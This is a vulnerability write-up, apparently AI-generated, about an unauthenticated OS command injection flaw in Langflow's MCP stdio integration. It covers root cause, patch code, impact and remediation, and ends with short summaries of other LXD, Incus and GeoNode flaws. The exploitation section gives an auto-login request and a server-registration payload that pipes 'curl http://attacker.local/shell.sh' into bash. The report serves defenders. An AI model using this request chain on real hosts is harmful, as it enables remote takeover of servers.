CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-105697

CVE-2026-105697: OS Command Injection in Langflow Model Context Protocol Integration

Alon Barad
Alon Barad
Software Engineer

Oct 8, 2026·5 min read·60 visits

Executive Summary (TL;DR)

Langflow versions prior to 1.10.3 allowed unauthenticated remote attackers to execute arbitrary shell commands on the hosting system by exploiting a model context protocol (MCP) server integration wrapper that parsed commands inside a shell context.

A critical OS command injection vulnerability exists in Langflow's Model Context Protocol (MCP) server integration using stdio transport, allowing unauthenticated remote command execution under default configurations.

Vulnerability Overview

Langflow is a low-code orchestration framework for building artificial intelligence applications. To facilitate communication with external applications, Langflow implements the Model Context Protocol (MCP), supporting integration via a standard input/output (stdio) transport channel.

In versions prior to 1.10.3, the stdio transport mechanism did not safely handle host command execution when initializing external servers. The core vulnerability stems from the application directly spawning subprocesses with user-controlled parameters within a shell evaluation context.

The attack surface is expanded by Langflow's default setup, where the configuration variable LANGFLOW_AUTO_LOGIN is set to true. This configuration enables remote, unauthenticated network users to obtain administrative tokens and trigger arbitrary OS command execution by registering or importing malicious workflow configurations.

Root Cause Analysis

The root cause of CVE-2026-105697 is the improper neutralization of special elements used in operating system commands (CWE-78) within the MCP integration component.

Initially, the backend processed the execution parameters through MCPStdioClient._connect_to_server in src/lfx/src/lfx/base/mcp/util.py using a system shell context. The command string was constructed using unsanitized user-supplied parameters, enabling shell interpreters (such as /bin/sh or cmd.exe) to evaluate command separators, redirection symbols, and subshell executions.

Furthermore, validation logic was decoupled from the execution sink. While some Pydantic validation occurred at the REST API controller boundary via the MCPServerConfig model, this validation was not applied to configurations embedded directly within workflow files, parameters, or tweaks. Consequently, an attacker could bypass front-end validation gates entirely by importing a crafted JSON workflow, forcing the backend runtime to invoke the execution sink with malicious command parameters.

Code Analysis and Architectural Diff

The transition from the vulnerable execution model to the secure implementation involved restricting process spawning to shell-less execution and implementing a centralized validation gate directly before the execution sink.

Below is a representation of the structural modifications applied to the vulnerable process creation flow:

# Vulnerable Implementation
# File: src/lfx/src/lfx/base/mcp/util.py
def _connect_to_server(self, command_str: str):
    # The command string was executed directly via a shell wrapper
    # Shell evaluation allowed metacharacters to trigger command execution
    self.process = subprocess.Popen(
        command_str,
        shell=True,  # Critical Flaw: shell=True evaluated command separators
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True
    )
 
# Patched Implementation
# File: src/lfx/src/lfx/base/mcp/security.py
def validate_mcp_stdio_config(command: str, args: list, env: dict):
    # 1. Enforce that the command is a single executable binary
    if " " in command.strip():
        raise MCPStdioSecurityError("Command must be a single executable binary")
    
    # 2. Match against a strict allowed executable list
    if command not in ALLOWED_MCP_COMMANDS:
        raise MCPStdioSecurityError(f"Command '{command}' is not in the approved allowlist")
        
    # 3. Check arguments for command injection metacharacters
    for arg in args:
        if any(char in arg for char in DANGEROUS_SHELL_CHARS):
            raise MCPStdioSecurityError("Dangerous characters detected in arguments")
            
    # 4. Reject dangerous environment variables to prevent library hijacking
    for key in env.keys():
        if key.lower() in DANGEROUS_ENV_VARS:
            raise MCPStdioSecurityError(f"Dangerous environment variable detected: {key}")

The update resolved the vulnerability by setting shell=False on the process spawning engine and executing validate_mcp_stdio_config immediately before execution. This design guarantees that even if a workflow circumvents initial API parsers, the runtime wrapper blocks the subprocess from executing if it violates security controls.

Exploitation Methodology

Exploitation of CVE-2026-105697 requires network access to the Langflow HTTP API port. The default environment is susceptible to unauthenticated attacks because automatic login generates functional administrative tokens without requiring valid credentials.

An attacker first interacts with the authentication endpoint to acquire a session token:

GET /api/v1/auto_login HTTP/1.1
Host: target-langflow.local:7860

The backend returns an authorization token. Using this token, the attacker registers a new MCP server configuration containing the target payload within the stdio execution properties:

POST /api/v2/mcp/servers/malicious_server HTTP/1.1
Host: target-langflow.local:7860
Authorization: Bearer <session_token>
Content-Type: application/json
 
{
  "command": "bash",
  "args": ["-c", "curl http://attacker.local/shell.sh | bash"],
  "env": {}
}

When this configuration is submitted, the backend attempts to establish a connection with the server to fetch metadata. During this initialization, the MCPStdioClient invokes the OS command runner. The command executes under the privileges of the Langflow server daemon process, granting the attacker interactive control over the host.

Impact Assessment

The impact of successful exploitation is critical, as represented by the CVSS score of 9.9 and vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.

The scope metric is evaluated as Changed (S:C) because executing commands within the operating system shell breaks the execution boundaries of the Langflow application sandbox. An attacker gains full capabilities to read, write, or modify system files, access runtime credentials, and utilize the host for lateral movement within local networks.

While the current Exploit Prediction Scoring System (EPSS) rating remains low, the severity of the flaw dictates immediate patching. The vulnerability exposes application workflows, proprietary datasets, LLM API keys, and underlying infrastructure to unauthorized actors.

Remediation and Defensive Engineering

Remediation requires upgrading the Langflow deployment and securing its configuration parameters.

Administrators must update packages to the designated secure versions: langflow >= 1.10.3, langflow-base >= 0.10.3, and lfx >= 1.10.3.

If immediate software upgrade is not possible, the attack vector must be mitigated by disabling auto-login features and isolating network interfaces. Set the environment variable LANGFLOW_AUTO_LOGIN=false to block unauthorized users from obtaining valid session tokens. Additionally, bind the server daemon strictly to localhost or isolate the interface behind firewalls and corporate VPN networks.

Official Patches

langflow-aiFix Pull Request 1 (Initial validation & command blocks)
langflow-aiFix Pull Request 2 (Runtime execution-level policy)

Fix Analysis (2)

Technical Appendix

CVSS Score
9.9/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.40%
Top 68% most exploited

Affected Systems

langflowlangflow-baselfx

Affected Versions Detail

Product
Affected Versions
Fixed Version
langflow
langflow-ai
>= 1.1.2, < 1.10.31.10.3
langflow-base
langflow-ai
>= 0.1.2, < 0.10.30.10.3
lfx
langflow-ai
< 1.10.31.10.3
AttributeDetail
CWE IDCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
Attack VectorNetwork (AV:N)
CVSS Severity Score9.9 (Critical)
EPSS Score0.00396
Exploit Statuspoc
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1190Exploit Public-Facing Application
Initial Access
CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The application constructs an OS command using externally-supplied inputs but fails to properly sanitize or neutralize special characters before passing the string to a command interpreter.

Known Exploits & Detection

GitHub Security AdvisoryAdvisory context detailing vulnerability mechanics, reproduction scenarios, and patched components.

Vulnerability Timeline

Initial validation PR #12290 merged to restrict command options.
2026-03-27
Comprehensive runtime boundary hardening PR #14036 merged.
2026-07-14
Security Advisory GHSA-w794-rj3p-xv45 published and Langflow v1.10.3 released.
2026-10-05

References & Sources

  • [1]GitHub Security Advisory GHSA-w794-rj3p-xv45
  • [2]NVD Record for CVE-2026-105697
  • [3]Authoritative CVE Project Entry
  • [4]Langflow Release v1.10.3

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•18 minutes ago•GHSA-9J25-MM2H-2F76
9.9

CVE-2026-48750: Arbitrary File Write on Host via exec-output Symlink in Canonical LXD and Incus

Canonical LXD and LXC Incus contain an arbitrary file write vulnerability (CWE-73 / CWE-59) in the `/1.0/instances/<name>/exec` REST API endpoint. When an instance is unpacked from an image archive, top-level symbolic links are extracted directly onto the host filesystem within the instance storage directory. If a crafted image includes a symbolic link named `exec-output` pointing to an arbitrary host path, invoking the execution endpoint with `record-output: true` causes the privileged host daemon to follow the symlink and write command output files directly to the target host directory. An authenticated attacker with permissions to import images and execute commands can exploit this flaw to write controlled content to sensitive host directories such as `/etc/cron.d`, resulting in arbitrary code execution on the host as `root`.

Alon Barad
Alon Barad
1 views•12 min read
•about 1 hour ago•GHSA-VGHH-5RFX-XHQ8
9.9

CVE-2026-48749: Arbitrary Host File Read and Write via Malicious Image Symlink in Canonical LXD and Incus

CVE-2026-48749 (tracked as GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) is a critical container escape vulnerability in the Canonical LXD and Linux Containers Incus system container managers. By importing a specially crafted container image archive containing duplicate tar member headers, an authenticated attacker can replace the instance rootfs directory with a symbolic link pointing to the underlying host root filesystem. When performing file operations on a stopped container, the privileged forkfile helper binary resolves the symbolic link without confinement and chroots directly into the host filesystem, granting arbitrary root-level file read and write access.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 2 hours ago•GHSA-FMC8-P6Q7-75CC
9.9

GHSA-fmc8-p6q7-75cc: Argument Injection in Canonical LXD Backup Compression Leads to Host Root Code Execution

GHSA-fmc8-p6q7-75cc (associated with CVE-2026-48755) is a critical argument injection vulnerability in Canonical LXD (github.com/canonical/lxd). The vulnerability occurs during instance and storage volume backup operations when processing the user-supplied compression_algorithm configuration parameter. While LXD validates the primary executable token against an allowlist of supported compression binaries, it fails to sanitize or restrict subsequent tokens parsed via shellquote.Split. These additional arguments are passed directly to exec.Command. An authenticated attacker with privileges to trigger backups can inject command-line flags for utilities like zstd to read staged files from a container filesystem and write them to arbitrary paths on the underlying host filesystem, such as /etc/cron.d/, achieving root-level arbitrary code execution on the host.

Amit Schendel
Amit Schendel
6 views•10 min read
•about 3 hours ago•GHSA-PJFF-C2WC-F6JM
9.9

CVE-2026-48769: Arbitrary File Write and Remote Code Execution via Trusted Image Hash in Canonical LXD and Linux Containers Incus

A critical path traversal vulnerability caused by improper input validation (CWE-20) exists in the direct image download handler of Canonical LXD and Linux Containers Incus. When an authenticated user requests an image import using the URL source type, the daemon reads the image fingerprint from an untrusted HTTP response header (`Incus-Image-Hash` or `LXD-Image-Hash`) without validating that it conforms to a SHA-256 format. This unvalidated string is concatenated directly into a filesystem path via `filepath.Join` prior to file creation and cryptographic verification, allowing directory traversal sequences to write arbitrary files on the host filesystem as root.

Alon Barad
Alon Barad
7 views•10 min read
•about 7 hours ago•CVE-2026-9639
6.5

CVE-2026-9639: Authenticated Denial of Service via Nil-Pointer Dereference in Canonical LXD Custom Volume Backup Import

CVE-2026-9639 (GHSA-j93m-3j9p-m5m8) is a null pointer dereference vulnerability in Canonical LXD affecting versions 5.0.0 through 5.21.4 and 6.0 through 6.8. The flaw resides in the (*lxdBackend).CreateCustomVolumeFromBackup method within lxd/storage/backend_lxd.go. An authenticated attacker with the can_create_storage_volumes permission can upload a crafted custom volume backup tarball that omits the expires_at field on a snapshot entry, triggering an unhandled SIGSEGV panic and terminating the LXD daemon.

Amit Schendel
Amit Schendel
7 views•9 min read
•about 8 hours ago•CVE-2026-33050
8.8

CVE-2026-33050: OS Command Injection in GeoNode Vector Upload Handler

An operating system command injection vulnerability (CWE-78) exists in GeoNode versions prior to 5.1.0. The vulnerability occurs in the vector upload processing pipeline when handling user-supplied geospatial files. By supplying a crafted layer name containing shell metacharacters, an authenticated attacker with basic data upload privileges can execute arbitrary commands on the underlying server or container hosting the GeoNode application and Celery worker processes.

Alon Barad
Alon Barad
6 views•9 min read